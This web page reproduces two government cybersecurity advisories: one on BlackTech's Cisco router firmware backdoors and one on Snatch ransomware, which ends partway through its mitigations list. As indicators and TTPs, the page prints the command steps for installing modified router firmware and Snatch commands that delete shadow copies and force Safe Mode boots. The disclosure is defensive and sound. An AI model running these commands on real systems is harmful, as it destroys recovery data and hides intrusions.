Category: United States Director of National Intelligence

Source: US Department of Homeland Security

Executive Summary

The United States National Security Agency (NSA), the U.S. Federal Bureau of Investigation (FBI), the U.S. Cybersecurity and Infrastructure Security Agency (CISA), the Japan National Police Agency (NPA), and the Japan National Center of Incident Readiness and Strategy for Cybersecurity (NISC) (hereafter referred to as the “authoring agencies”) are releasing this joint cybersecurity advisory (CSA) to detail activity of the People’s Republic of China (PRC)-linked cyber actors known as BlackTech. BlackTech has demonstrated capabilities in modifying router firmware without detection and exploiting routers’ domain-trust relationships for pivoting from international subsidiaries to headquarters in Japan and the U.S. — the primary targets. The authoring agencies recommend implementing the mitigations described to detect this activity and protect devices from the backdoors the BlackTech actors are leaving behind.

BlackTech (a.k.a. Palmerworm, Temp.Overboard, Circuit Panda, and Radio Panda) actors have targeted government, industrial, technology, media, electronics, and telecommunication sectors, including entities that support the militaries of the U.S. and Japan. BlackTech actors use custom malware, dual-use tools, and living off the land tactics, such as disabling logging on routers, to conceal their operations. This CSA details BlackTech’s tactics, techniques, and procedures (TTPs), which highlights the need for multinational corporations to review all subsidiary connections, verify access, and consider implementing Zero Trust models to limit the extent of a potential BlackTech compromise.

For more information on the risks posed by this deep level of unauthorized access, see the CSA People’s Republic of China State-Sponsored Cyber Actors Exploit Network Providers and Devices.[1]

Download the PDF version of this report: [PDF, 808 KB]

Technical Details

This advisory uses the MITRE^® ATT&CK^® for Enterprise framework, version 13.1. See the Appendix: MITRE ATT&CK Techniques for all referenced TTPs.

Background

Active since 2010, BlackTech actors have historically targeted a wide range of U.S. and East Asia public organizations and private industries. BlackTech actors’ TTPs include developing customized malware and tailored persistence mechanisms for compromising routers. These TTPs allow the actors to disable logging [T1562] and abuse trusted domain relationships [T1199] to pivot between international subsidiaries and domestic headquarters’ networks.

Observable TTPs

BlackTech cyber actors use custom malware payloads and remote access tools (RATs) to target victims’ operating systems. The actors have used a range of custom malware families targeting Windows^®, Linux^®, and FreeBSD^® operating systems. Custom malware families employed by BlackTech include:

• BendyBear [S0574]
• Bifrose
• BTSDoor
• FakeDead (a.k.a. TSCookie) [S0436]
• Flagpro [S0696]
• FrontShell (FakeDead’s downloader module)
• IconDown
• PLEAD [S0435]
• SpiderPig
• SpiderSpring
• SpiderStack
• WaterBear [S0579]

BlackTech actors continuously update these tools to evade detection [TA0005] by security software. The actors also use stolen code-signing certificates [T1588.003] to sign the malicious payloads, which make them appear legitimate and therefore more difficult for security software to detect [T1553.002].

BlackTech actors use living off the land TTPs to blend in with normal operating system and network activities, allowing them to evade detection by endpoint detection and response (EDR) products. Common methods of persistence on a host include NetCat shells, modifying the victim registry [T1112] to enable the remote desktop protocol (RDP) [T1021.001], and secure shell (SSH) [T1021.004]. The actors have also used SNScan for enumeration [TA0007], and a local file transfer protocol (FTP) server [T1071.002] to move data through the victim network. For additional examples of malicious cyber actors living off the land, see People’s Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection.[2]

Pivoting from international subsidiaries

The PRC-linked BlackTech actors target international subsidiaries of U.S. and Japanese companies. After gaining access [TA0001] to the subsidiaries’ internal networks, BlackTech actors are able to pivot from the trusted internal routers to other subsidiaries of the companies and the headquarters’ networks. BlackTech actors exploit trusted network relationships between an established victim and other entities to expand their access in target networks.

Specifically, upon gaining an initial foothold into a target network and gaining administrator access to network edge devices, BlackTech cyber actors often modify the firmware to hide their activity across the edge devices to further maintain persistence in the network. To extend their foothold across an organization, BlackTech actors target branch routers—typically smaller appliances used at remote branch offices to connect to a corporate headquarters—and then abuse the trusted relationship [T1199] of the branch routers within the corporate network being targeted. BlackTech actors then use the compromised public-facing branch routers as part of their infrastructure for proxying traffic [TA0011], blending in with corporate network traffic, and pivoting to other victims on the same corporate network [T1090.002].

Maintaining access via stealthy router backdoors

BlackTech has targeted and exploited various brands and versions of router devices. TTPs against routers enable the actors to conceal configuration changes, hide commands, and disable logging while BlackTech actors conduct operations. BlackTech actors have compromised several Cisco^® routers using variations of a customized firmware backdoor [T1542.004]. The backdoor functionality is enabled and disabled through specially crafted TCP or UDP packets [T1205]. This TTP is not solely limited to Cisco routers, and similar techniques could be used to enable backdoors in other network equipment.

In some cases, BlackTech actors replace the firmware for certain Cisco IOS^®-based routers with malicious firmware. Although BlackTech actors already had elevated privileges [TA0004] on the router to replace the firmware via command-line execution, the malicious firmware is used to establish persistent backdoor access [TA0003] and obfuscate future malicious activity. The modified firmware uses a built-in SSH backdoor [T1556.004], allowing BlackTech actors to maintain access to the compromised router without BlackTech connections being logged [T1562.003]. BlackTech actors bypass the router’s built-in security features by first installing older legitimate firmware [T1601.002] that they then modify in memory to allow the installation of a modified, unsigned bootloader and modified, unsigned firmware [T1601.001]. The modified bootloader enables the modified firmware to continue evading detection [T1553.006], however, it is not always necessary.

BlackTech actors may also hide their presence and obfuscate changes made to compromised Cisco routers by hiding Embedded Event Manager (EEM) policies—a feature usually used in Cisco IOS to automate tasks that execute upon specified events—that manipulate Cisco IOS Command-Line Interface (CLI) command results. On a compromised router, the BlackTech-created EEM policy waits for specific commands to execute obfuscation measures or deny execution of specified legitimate commands. This policy has two functions: (1) to remove lines containing certain strings in the output of specified, legitimate Cisco IOS CLI commands [T1562.006], and (2) prevent the execution of other legitimate CLI commands, such as hindering forensic analysis by blocking copy, rename, and move commands for the associated EEM policy [T1562.001].

Firmware replacement process

BlackTech actors utilize the following file types to compromise the router. These files are downloaded to the router via FTP or SSH.

Table 1: File types to compromise the router

File Type	Description
Old Legitimate Firmware	The IOS image firmware is modified in memory to allow installation of the Modified Firmware and Modified Bootloader.
Modified Firmware	The firmware has a built-in SSH backdoor, allowing operators to have unlogged interaction with the router.
Modified Bootloader	The bootloader allows Modified Firmware to continue evading the router’s security features for persistence across reboots. In some cases, only modified firmware is used.

BlackTech actors use the Cisco router’s CLI to replace the router’s IOS image firmware. The process begins with the firmware being modified in memory—also called hot patching—to allow the installation of a modified bootloader and modified firmware capable of bypassing the router’s security features. Then, a specifically constructed packet triggers the router to enable the backdoor that bypasses logging and the access control list (ACL). The steps are as follows:

1. Download old legitimate firmware.
2. Set the router to load the old legitimate firmware and reboot with the following command(s):
   

   config t no boot system usbflash0 [filename] boot system usbflash0 [filename] end write reload

3. Download the modified bootloader and modified firmware.
4. Set the router to load the modified firmware with the following command(s):
   

   conf t no boot system usbflash0 [filename] boot system usbflash0 [filename] end write

5. Load the modified bootloader (the router reboots automatically) with the following command:
   

   upgrade rom file bootloader

6. Enable access by sending a trigger packet that has specific values within the UDP data or TCP Sequence Number field and the Maximum Segment Size (MSS) parameter within the TCP Options field.

Modified bootloader

To allow the modified bootloader and firmware to be installed on Cisco IOS without detection, the cyber actors install an old, legitimate firmware and then modify that running firmware in memory to bypass firmware signature checks in the Cisco ROM Monitor (ROMMON) signature validation functions. The modified version’s instructions allow the actors to bypass functions of the IOS Image Load test and the Field Upgradeable ROMMON Integrity test.

Modified firmware

BlackTech actors install modified IOS image firmware that allows backdoor access via SSH to bypass the router’s normal logging functions. The firmware consists of a Cisco IOS loader that will load an embedded IOS image.

BlackTech actors hook several functions in the embedded Cisco IOS image to jump to their own code. They overwrite existing code to handle magic packet checking, implement an SSH backdoor, and bypass logging functionality on the compromised router. The modified instructions bypass command logging, IP address ACLs, and error logging.

To enable the backdoor functions, the firmware checks for incoming trigger packets and enables or disables the backdoor functionality. When the backdoor is enabled, associated logging functions on the router are bypassed. The source IP address is stored and used to bypass ACL handling for matching packets. The SSH backdoor includes a special username that does not require additional authentication.

Detection and Mitigation Techniques

In order to detect and mitigate this BlackTech malicious activity, the authoring agencies strongly recommend the following detection and mitigation techniques. It would be trivial for the BlackTech actors to modify values in their backdoors that would render specific signatures of this router backdoor obsolete. For more robust detection, network defenders should monitor network devices for unauthorized downloads of bootloaders and firmware images and reboots. Network defenders should also monitor for unusual traffic destined to the router, including SSH.

The following are the best mitigation practices to defend against this type of malicious activity:

• Disable outbound connections by applying the “transport output none” configuration command to the virtual teletype (VTY) lines. This command will prevent some copy commands from successfully connecting to external systems.
  Note: An adversary with unauthorized privileged level access to a network device could revert this configuration change.[3]
• Monitor both inbound and outbound connections from network devices to both external and internal systems. In general, network devices should only be connecting to nearby devices for exchanging routing or network topology information or with administrative systems for time synchronization, logging, authentication, monitoring, etc. If feasible, block unauthorized outbound connections from network devices by applying access lists or rule sets to other nearby network devices. Additionally, place administrative systems in separate virtual local area networks (VLANs) and block all unauthorized traffic from network devices destined for non-administrative VLANs.[4]
• Limit access to administration services and only permit IP addresses used by network administrators by applying access lists to the VTY lines or specific services. Monitor logs for successful and unsuccessful login attempts with the “login on-failure log” and “login on-success log” configuration commands, or by reviewing centralized Authentication, Authorization, and Accounting (AAA) events.[3]
• Upgrade devices to ones that have secure boot capabilities with better integrity and authenticity checks for bootloaders and firmware. In particular, highly prioritize replacing all end-of-life and unsupported equipment as soon as possible.[3],[5]
• When there is a concern that a single password has been compromised, change all passwords and keys.[3]
• Review logs generated by network devices and monitor for unauthorized reboots, operating system version changes, changes to the configuration, or attempts to update the firmware. Compare against expected configuration changes and patching plans to verify that the changes are authorized.[3]
• Periodically perform both file and memory verification described in the Network Device Integrity (NDI) Methodology documents to detect unauthorized changes to the software stored and running on network devices.[3]
• Monitor for changes to firmware. Periodically take snapshots of boot records and firmware and compare against known good images.[3]

Works Cited

[1]    Joint CSA, People’s Republic of China State-Sponsored Cyber Actors Exploit Network Providers and Devices, https://media.defense.gov/2022/Jun/07/2003013376/-1/-1/0/CSA_PRC_SPONSORED_CYBER_ACTORS_EXPLOIT_NETWORK_PROVIDERS_DEVICES_TLPWHITE.PDF
[2]    Joint CSA, People’s Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection, https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_PRC_State_Sponsored_Cyber_Living_off_the_Land_v1.1.PDF
[3]    NSA, Network Infrastructure Security Guide, https://media.defense.gov/2022/Jun/15/2003018261/-1/-1/0/CTR_NSA_NETWORK_INFRASTRUCTURE_SECURITY_GUIDE_20220615.PDF
[4]    NSA, Performing Out-of-Band Network Management, https://media.defense.gov/2020/Sep/17/2002499616/-1/-1/0/PERFORMING_OUT_OF_BAND_NETWORK_MANAGEMENT20200911.PDF 
[5]    Cisco, Attackers Continue to Target Legacy Devices, https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954

Disclaimer of endorsement

The information and opinions contained in this document are provided “as is” and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government or Japan, and this guidance shall not be used for advertising or product endorsement purposes.

Trademark recognition

Cisco and Cisco IOS are registered trademarks of Cisco Technology, Inc.
FreeBSD is a registered trademark of The FreeBSD Foundation.
Linux is a registered trademark of Linus Torvalds.
MITRE and MITRE ATT&CK are registered trademarks of The MITRE Corporation.
Windows is a registered trademark of Microsoft Corporation.

Purpose

This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate cyber threats, and to develop and issue cybersecurity specifications and mitigations.

Contact

NSA Cybersecurity Report Questions and Feedback: CybersecurityReports@nsa.gov 
NSA’s Defense Industrial Base Inquiries and Cybersecurity Services: DIB_Defense@cyber.nsa.gov 
NSA Media Inquiries / Press Desk: 443-634-0721, MediaRelations@nsa.gov

U.S. organizations: Report incidents and anomalous activity to CISA 24/7 Operations Center at Report@cisa.dhs.gov, cisa.gov/report, or (888) 282-0870 and/or to the FBI via your local FBI field office.

Appendix: MITRE ATT&CK Techniques

See Tables 2-9 for all referenced BlackTech tactics and techniques in this advisory.

Table 2: BlackTech ATT&CK Techniques for Enterprise – Resource Development

Technique Title	ID	Use
Obtain Capabilities: Code Signing Certificates	T1588.003	BlackTech actors use stolen code-signing certificates to sign payloads and evade defenses.

Table 3: BlackTech ATT&CK Techniques for Enterprise – Initial Access

Technique Title	ID	Use
Initial Access	TA0001	BlackTech actors gain access to victim networks by exploiting routers.
Trusted Relationship	T1199	BlackTech actors exploit trusted domain relationships of routers to gain access to victim networks.

Table 4: BlackTech ATT&CK Techniques for Enterprise – Persistence

Technique Title	ID	Use
Persistence	TA0003	BlackTech actors gain persistent access to victims’ networks.
Traffic Signaling	T1205	BlackTech actors send specially crafted packets to enable or disable backdoor functionality on a compromised router.
Pre-OS Boot: ROMMONkit	T1542.004	BlackTech actors modify router firmware to maintain persistence.

Table 5: BlackTech ATT&CK Techniques for Enterprise – Privilege Escalation

Technique Title	ID	Use
Privilege Escalation	TA0004	BlackTech actors gain elevated privileges on a victim’s network.

Table 6: BlackTech ATT&CK Techniques for Enterprise – Defense Evasion

Technique Title	ID	Use
Defense Evasion	TA0005	BlackTech actors configure their tools to evade detection by security software and EDR.
Modify Registry	T1112	BlackTech actors modify the victim’s registry.
Impair Defenses	T1562	BlackTech actors disable logging on compromised routers to avoid detection and evade defenses.
Impair Defenses: Impair Command History Logging	T1562.003	BlackTech actors disable logging on the compromised routers to prevent logging of any commands issued.
Modify System Image: Patch System Image	T1601.001	BlackTech actors modify router firmware to evade detection.

Table 7: BlackTech ATT&CK Techniques for Enterprise – Discovery

Technique Title	ID	Use
Discovery	TA0007	BlackTech actors use SNScan to enumerate victims’ networks and obtain further network information.

Table 8: BlackTech ATT&CK Techniques for Enterprise – Lateral Movement

Technique Title	ID	Use
Remote Services: Remote Desktop Protocol	T1021.001	BlackTech actors use RDP to move laterally across a victim’s network.
Remote Services: SSH	T1021.004	BlackTech actors use SSH to move laterally across a victim’s network.

Table 9: BlackTech ATT&CK Techniques for Enterprise – Command and Control

Technique Title	ID	Use
Command and Control	TA0011	BlackTech actors compromise and control a victim’s network infrastructure.
Application Layer Protocol: File Transfer Protocols	T1071.002	BlackTech actors use FTP to move data through a victim’s network or to deliver scripts for compromising routers.
Proxy	T1090	BlackTech actors use compromised routers to proxy traffic.

Source: US Department of Homeland Security

SUMMARY

Note: This joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.

The Federal Bureau of Investigation (FBI) and the Cybersecurity and Infrastructure Security Agency (CISA) are releasing this joint CSA to disseminate known ransomware IOCs and TTPs associated with the Snatch ransomware variant identified through FBI investigations as recently as June 1, 2023.

Since mid-2021, Snatch threat actors have consistently evolved their tactics to take advantage of current trends in the cybercriminal space and leveraged successes of other ransomware variants’ operations. Snatch threat actors have targeted a wide range of critical infrastructure sectors including the Defense Industrial Base (DIB), Food and Agriculture, and Information Technology sectors. Snatch threat actors conduct ransomware operations involving data exfiltration and double extortion. After data exfiltration often involving direct communications with victims demanding ransom, Snatch threat actors may threaten victims with double extortion, where the victims’ data will be posted on Snatch’s extortion blog if the ransom goes unpaid.

FBI and CISA encourage organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of ransomware incidents.

Download the PDF version of this report:

For a downloadable copy of IOCs, see:

TECHNICAL DETAILS

Note: This advisory uses the MITRE ATT&CK for Enterprise framework, version 13. See the MITRE ATT&CK Tactics and Techniques section for a table of the threat actors’ activity mapped to MITRE ATT&CK® tactics and techniques. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

First appearing in 2018, Snatch operates a ransomware-as-a-service (RaaS) model and claimed their first U.S.-based victim in 2019. Originally, the group was referred to as Team Truniger, based on the nickname of a key group member, Truniger, who previously operated as a GandCrab affiliate. Snatch threat actors use a customized ransomware variant notable for rebooting devices into Safe Mode [T1562.009], enabling the ransomware to circumvent detection by antivirus or endpoint protection, and then encrypting files when few services are running.

Snatch threat actors have been observed purchasing previously stolen data from other ransomware variants in an attempt to further exploit victims into paying a ransom to avoid having their data released on Snatch’s extortion blog. Note: Since November 2021, an extortion site operating under the name Snatch served as a clearinghouse for data exfiltrated or stolen from victim companies on Clearnet and TOR hosted by a bulletproof hosting service. In August 2023, individuals claiming to be associated with the blog gave a media interview claiming the blog was not associated with Snatch ransomware and “none of our targets has been attacked by Ransomware Snatch…”, despite multiple confirmed Snatch victims’ data appearing on the blog alongside victims associated with other ransomware groups, notably Nokoyawa and Conti.[1]

Initial Access and Persistence

Snatch threat actors employ several different methods to gain access to and maintain persistence on a victim’s network. Snatch affiliates primarily rely on exploiting weaknesses in Remote Desktop Protocol (RDP) [T1133] for brute-forcing and gaining administrator credentials to victims’ networks [T1110.001]. In some instances, Snatch affiliates have sought out compromised credentials from criminal forums/marketplaces [T1078].

Snatch threat actors gain persistence on a victim’s network by compromising an administrator account [T1078.002] and establishing connections over port 443 [T1071.001] to a command and control (C2) server located on a Russian bulletproof hosting service [T1583.003]. Per IP traffic from event logs provided by recent victims, Snatch threat actors initiated RDP connections from a Russian bulletproof hosting service and through other virtual private network (VPN) services [T1133].

Data Discovery and Lateral Movement

Snatch threat actors were observed using different TTPs to discover data, move laterally, and search for data to exfiltrate. Snatch threat actors use sc.exe to configure, query, stop, start, delete, and add system services using the Windows Command line. In addition to sc.exe, Snatch threat actors also use tools such as Metasploit and Cobalt Strike [S0154].

Prior to deploying the ransomware, Snatch threat actors were observed spending up to three months on a victim’s system. Within this timeframe, Snatch threat actors exploited the victim’s network [T1590], moving laterally across the victim’s network with RDP [T1021.001] for the largest possible deployment of ransomware and searching for files and folders [T1005] for data exfiltration [TA0010] followed by file encryption [T1486].

Defense Evasion and Execution

During the early stages of ransomware deployment, Snatch threat actors attempt to disable antivirus software [T1562.001] and run an executable as a file named safe.exe or some variation thereof. In recent victims, the ransomware executable’s name consisted of a string of hexadecimal characters which match the SHA-256 hash of the file in an effort to defeat rule-based detection [T1036]. Upon initiation, the Snatch ransomware payload queries and modifies registry keys [T1012][T1112], uses various native Windows tools to enumerate the system [T1569.002], finds processes [T1057], and creates benign processes to execute Windows batch (.bat) files [T1059.003]. In some instances, the program attempts to remove all the volume shadow copies from a system [T1490]. After the execution of the batch files, the executable removes the batch files from the victim’s filesystem [T1070.004].

The Snatch ransomware executable appends a series of hexadecimal characters to each file and folder name it encrypts—unique to each infection—and leaves behind a text file titled HOW TO RESTORE YOUR FILES.TXT in each folder. Snatch threat actors communicate with their victims through email and the Tox communication platform based on identifiers left in ransom notes or through their extortion blog. Since November 2021, some victims reported receiving a spoofed call from an unknown female who claimed association with Snatch and directed them to the group’s extortion site. In some instances, Snatch victims had a different ransomware variant deployed on their systems, but received a ransom note from Snatch threat actors. As a result, the victims’ data is posted on the ransomware blog involving the different ransomware variant and on the Snatch threat actors’ extortion blog.

Indicators of Compromise (IOCs)

The Snatch IOCs detailed in this section were obtained through FBI investigations from September 2022 through June 2023.

Email Domains and Addresses

Since 2019, Snatch threat actors have used numerous email addresses to email victims. Email addresses used by Snatch threat actors are random but usually originate from one of the following domains listed in Tables 1 and 2:

Table 1: Malicious Email Domains Observed in Use by Snatch Threat Actors

Email Domains
sezname[.]cz
cock[.]li
airmail[.]cc

Table 2 shows a list of legitimate email domains offering encrypted email services that have been used by Snatch threat actors. These email domains are all publicly available and legal. The use of these email domains by a threat actor should not be attributed to the email domains, absent specific articulable facts tending to show they are used at the direction or under the control of a threat actor.

Table 2: Legitimate Email Domains Observed in Use by Snatch Threat Actors

Email Domains
tutanota[.]com / tutamail[.]com / tuta[.]io
mail[.]fr
keemail[.]me
protonmail[.]com / proton[.]me
swisscows[.]email

The email addresses listed in Table 3 were reported by recent victims.

TOX Messaging IDs

TOX Messaging IDs
CAB3D74D1DADE95B52928E4D9DFC003FF5ADB2E082F59377D049A91952E8BB3B419DB2FA9D3F
7229828E766B9058D329B2B4BC0EDDD11612CBCCFA4811532CABC76ACF703074E0D1501F8418
83E6E3CFEC0E4C8E7F7B6E01F6E86CF70AE8D4E75A59126A2C52FE9F568B4072CA78EF2B3C97
0FF26770BFAEAD95194506E6970CC1C395B04159038D785DE316F05CE6DE67324C6038727A58 NOTE: According to ransom notes, this is a “Customer service” TOX to reach out to if the original TOX ID does not respond.

Folder Creation

Folder Creation
C:$SysReset

Filenames with Associated SHA-256 Hashes

Filenames	SHA-256
qesbdksdvnotrjnexutx.bat	0965cb8ee38adedd9ba06bdad9220a35890c2df0e4c78d0559cd6da653bf740f
eqbglqcngblqnl.bat	1fbdb97893d09d59575c3ef95df3c929fe6b6ddf1b273283e4efadf94cdc802d
safe.exe	5950b4e27554585123d7fca44e83169375c6001201e3bf26e57d079437e70bcd
safe.exe	7018240d67fd11847c7f9737eaaae45794b37a5c27ffd02beaacaf6ae13352b3
safe.exe	28e82f28d0b9eb6a53d22983e21a9505ada925ebb61382fabebd76b8c4acff7c
safe.exe	fc31043b5f079ce88385883668eeebba76a62f77954a960fb03bf46f47dbb066
DefenderControl.exe	a201f7f81277e28c0bdd680427b979aee70e42e8a98c67f11e7c83d02f8fe7ae
PRETTYOCEANApplicationdrs.bi	6992aaad3c47b938309fc1e6f37179eb51f028536f8afc02e4986312e29220c0
Setup.exe	510e9fa38a08d446189c34fe6125295f410b36f00aceb65e7b4508e9d7c4e1d1
WRSA.exe	ed0fd61bf82660a69f5bfe0e66457cfe56d66dd2b310e9e97657c37779aef65d
ghnhfglwaplf.bat	2155a029a024a2ffa4eff9108ac15c7db527ca1c8f89ccfd94cc3a70b77cfc57
nllraq.bat	251427c578eaa814f07037fbe6e388b3bc86ed3800d7887c9d24e7b94176e30d
ygariiwfenmqteiwcr.bat	3295f5029f9c9549a584fa13bc6c25520b4ff9a4b2feb1d9e935cc9e4e0f0924
bsfyqgqeauegwyfvtp.bat	6c9d8c577dddf9cc480f330617e263a6ee4461651b4dec1f7215bda77df911e7
rgibdcghzwpk.bat	84e1476c6b21531de62bbac67e52ab2ac14aa7a30f504ecf33e6b62aa33d1fe5
pxyicmajjlqrtgcnhi.bat	a80c7fe1f88cf24ad4c55910a9f2189f1eedad25d7d0fd53dbfe6bdd68912a84
evhgpp.bat	b998a8c15cc19c8c31c89b30f692a40b14d7a6c09233eb976c07f19a84eccb40
eqbglqcngblqnl.bat	1fbdb97893d09d59575c3ef95df3c929fe6b6ddf1b273283e4efadf94cdc802d
qesbdksdvnotrjnexutx.bat	0965cb8ee38adedd9ba06bdad9220a35890c2df0e4c78d0559cd6da653bf740f
HOW TO RESTORE YOUR FILES.TXT

Filenames with Associated SHA-1 Hashes

Filenames	SHA-1
safe.exe	c8a0060290715f266c89a21480fed08133ea2614

Commands Used by Snatch Threat Actors

Commands
wmiadap.exe /F /T /R
%windir%System32svchost.eve –k WerSvcGroup
conhost.exe 0xFFFFFFFF -ForceV1
vssadmin delete shadows /all /quiet
bcdedit.exe /set {current} safeboot minimal
REG ADD HKLMSYSTEMCurrentControlSetControlSafeBootMinimalVSS /VE /T REG_SZ /F /D Service
REG ADD HKLMSYSTEMCurrentControlSetControlSafeBootMinimalmXoRpcSsx /VE /T REG_SZ /F /D Service
REG QUERY HKLMSYSTEMCurrentControlSetControl /v SystemStartOptions
%CONHOST% “1088015358-1778111623-1306428145949291561678876491840500802412316031-33820320
“C:Program Files (x86)MicrosoftEdgeApplicationmsedge.exe” –flag-switches-begin –flag-switches-end –no-startup-window /prefetch:5
cmd /d /c cmd /d /c cmd /d /c start ” ” C:Usersgrade1AppDataLocalPRETTYOCEANluvApplicationPRETTYOCEANApplicationidf.bi.

Registry Keys

Registry Keys
HKLMSOFTWAREMicrosoftWindows Media Player NSS3.0ServersD8B548F0-E306-4B2B-BD82-25DAC3208786FriendlyName
HKUS-1-5-21-4270068108-2931534202-3907561125-1001SoftwareMicrosoftWindowsCurrentVersionShell ExtensionsCached{ED50FC29-B964- 48A9-AFB3-15EBB9B97F36} {ADD8BA80-002B-11D0-8F0F-00C04FD7D062} 0xFFFF

System Log Changes

Source	Message
TerminalServices-RemoteConnectionManager	Remote session from client name exceeded the maximum allowed failed logon attempts. The session was forcibly terminated.
Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall	A rule was added (Event 2004) or modified (Event 2005) in the Windows Defender Firewall exception list. All rules included action “Allow” and rule name included “File and Printer Sharing”
Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall	A Windows Defender Firewall setting was changed in private, public, and domain profile with type “Enable Windows Defender Firewall” and value of “no”.
Microsoft-Windows-TaskScheduler%4Operational	Instance of process C:Windowssvchost.exe. (Incorrect file location, should be C:WindowsSystem32svchost.exe)

Mutexes Created

Mutexes Created
Sessions1BaseNamedObjectsgcc-shmem-tdm2-fc_key
Sessions1BaseNamedObjectsgcc-shmem-tdm2-sjlj_once
Sessions1BaseNamedObjectsgcc-shmem-tdm2-use_fc_key
gcc-shmem-tdm2-fc_key
gcc-hmem-tdm2-sjlj_once
gcc-shmem-tdm2-use_fc_key

MITRE ATT&CK TACTICS AND TECHNIQUES

See Tables 4-16 for all referenced threat actor tactics and techniques in this advisory.

Table 4: Snatch Threat Actors ATT&CK Techniques for Enterprise – Reconnaissance

Technique Title	ID	Use
Gather Victim Network Information	T1590	Snatch threat actors may gather information about the victim’s networks that can be used during targeting.

Table 5: Snatch Threat Actors ATT&CK Techniques for Enterprise – Resource Development

Technique Title	ID	Use
Acquire Infrastructure: Virtual Private Server	T1583.003	Snatch threat actors may rent Virtual Private Servers (VPSs) that can be used during targeting. Snatch threat actors acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.

Table 6: Snatch Threat Actors ATT&CK Techniques for Enterprise – Initial Access

Technique Title	ID	Use
Valid Accounts	T1078	Snatch threat actors use compromised user credentials from criminal forums/marketplaces to gain access and maintain persistence on a victim’s network.
External Remote Services	T1133	Snatch threat actors exploit weaknesses in RDP to perform brute forcing and gain administrator credentials for a victim’s network. Snatch threat actors use VPN services to connect to a victim’s network.

Table 7: Snatch Threat Actors ATT&CK Techniques for Enterprise – Execution

Technique Title	ID	Use
Command and Scripting Interpreter: Windows Command Shell	T1059.003	Snatch threat actors may use batch files (.bat) during ransomware execution and data discovery.
System Services: Service Execution	T1569.002	Snatch threat actors may leverage various Windows tools to enumerate systems on the victim’s network. Snatch ransomware used sc.exe.

Table 8: Snatch Threat Actors ATT&CK Techniques for Enterprise – Persistence

Technique Title	ID	Use
Valid Accounts: Domain Accounts	T1078.002	Snatch threat actors compromise domain accounts to maintain persistence on a victim’s network.

Table 9: Snatch Threat Actors ATT&CK Techniques for Enterprise – Defense Evasion

Technique Title	ID	Use
Masquerading	T1036	Snatch threat actors have the ransomware executable match the SHA-256 hash of a legitimate file to avoid rule-based detection.
Indicator Removal: File Deletion	T1070.004	Snatch threat actors delete batch files from a victim’s filesystem once execution is complete.
Modify Registry	T1112	Snatch threat actors modify Windows Registry keys to aid in persistence and execution.
Impair Defenses: Disable or Modify Tools	T1562.001	Snatch threat actors have attempted to disable a system’s antivirus program to enable persistence and ransomware execution.
Impair Defenses: Safe Mode Boot	T1562.009	Snatch threat actors abuse Windows Safe Mode to circumvent detection by antivirus or endpoint protection and encrypt files when few services are running.

Table 10: Snatch Threat Actors ATT&CK Techniques for Enterprise – Credential Access

Technique Title	ID	Use
Brute Force: Password Guessing	T1110.001	Snatch threat actors use brute force to obtain administrator credentials for a victim’s network.

Table 11: Snatch Threat Actors ATT&CK Techniques for Enterprise – Discovery

Technique Title	ID	Use
Query Registry	T1012	Snatch threat actors may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Process Discovery	T1057	Snatch threat actors search for information about running processes on a system.

Table 12: Snatch Threat Actors ATT&CK Techniques for Enterprise – Lateral Movement

Technique Title	ID	Use
Remote Services: Remote Desktop Protocol	T1021.001	Snatch threat actors may use Valid Accounts to log into a computer using the Remote Desktop Protocol.

Table 13: Snatch Threat Actors ATT&CK Techniques for Enterprise – Collection

Technique Title	ID	Use
Data from Local System	T1005	Snatch threat actors search systems to find files and folders of interest prior to exfiltration.

Table 14: Snatch Threat Actors ATT&CK Techniques for Enterprise – Command and Control

Technique Title	ID	Use
Application Layer Protocols: Web Protocols	T1071.001	Snatch threat actors establish connections over port 443 to blend C2 traffic in with other web traffic.

Table 15: Snatch Threat Actors ATT&CK Techniques for Enterprise – Exfiltration

Technique Title	ID	Use
Exfiltration	TA0010	Snatch threat actors use exfiltration techniques to steal data from a victim’s network.

Table 16: Snatch Threat Actors ATT&CK Techniques for Enterprise – Impact

Technique Title	ID	Use
Data Encrypted for Impact	T1486	Snatch threat actors encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources.
Inhibit System Recovery	T1490	Snatch threat actors delete all volume shadow copies from a victim’s filesystem to inhibit system recovery.

MITIGATIONS

These mitigations apply to all stakeholders. The authoring agencies recommend that software manufactures incorporate secure-by-design and -default principles and tactics into their software development practices for hardening software against ransomware attacks (e.g., to prevent threat actors from using Safe Mode to evade detection and file encryption), thus strengthening the secure posture for their customers. For more information on secure by design, see CISA’s Secure by Design and Default webpage and joint guide.

The FBI and CISA recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture on the basis of the Snatch threat actor’s activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.

• Reduce threat of malicious actors using remote access tools by:
  • Auditing remote access tools on your network to identify currently used and/or authorized software.
  • Reviewing logs for execution of remote access software to detect abnormal use of programs running as a portable executable [CPG 2.T].
